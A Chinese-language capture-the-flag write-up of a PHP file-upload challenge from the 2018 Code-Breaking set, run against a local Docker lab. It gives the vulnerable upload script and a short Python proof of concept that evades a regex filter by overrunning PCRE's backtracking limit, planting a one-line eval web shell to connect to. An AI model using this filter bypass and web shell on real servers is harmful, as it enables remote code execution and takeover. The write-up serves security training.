前言
题目地址:https://code-breaking.com/
题目源码地址:https://github.com/phith0n/code-breaking/tree/master/2018
下载后在本地起docker
即可,端口对应在docker-compose.yml
中
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
if(empty($_FILES)) { die(show_source(__FILE__)); }
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303); }
|
上传一个文件,服务器对你的文件内容进行检测,检测通过后,服务器就会将你上传的文件移动到一个路径下,路径会在header中输出,也就是返回的head头中可以看到
那目标就很明确了,写个马,获取路径后连上去
当然此题麻烦在检测函数,这个函数极大的限制了我们的写马操作
好在我在写这题之前已经看过p神写的PCRE绕过的文章了,这里直接给出POC
1 2 3 4 5 6 7 8 9
| import requests from io import BytesIO
files = { 'file': BytesIO(b'aaa<?php eval($_POST[bilala]);//' + b'a' * 1000000) }
res = requests.post('http://192.168.189.128:8088/', files=files, allow_redirects=False) print(res.headers)
|
得到shell的路径后,蚁剑连上去即可
![image-20220318214948551]()
PCRE文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
正则调试器:https://regex101.com/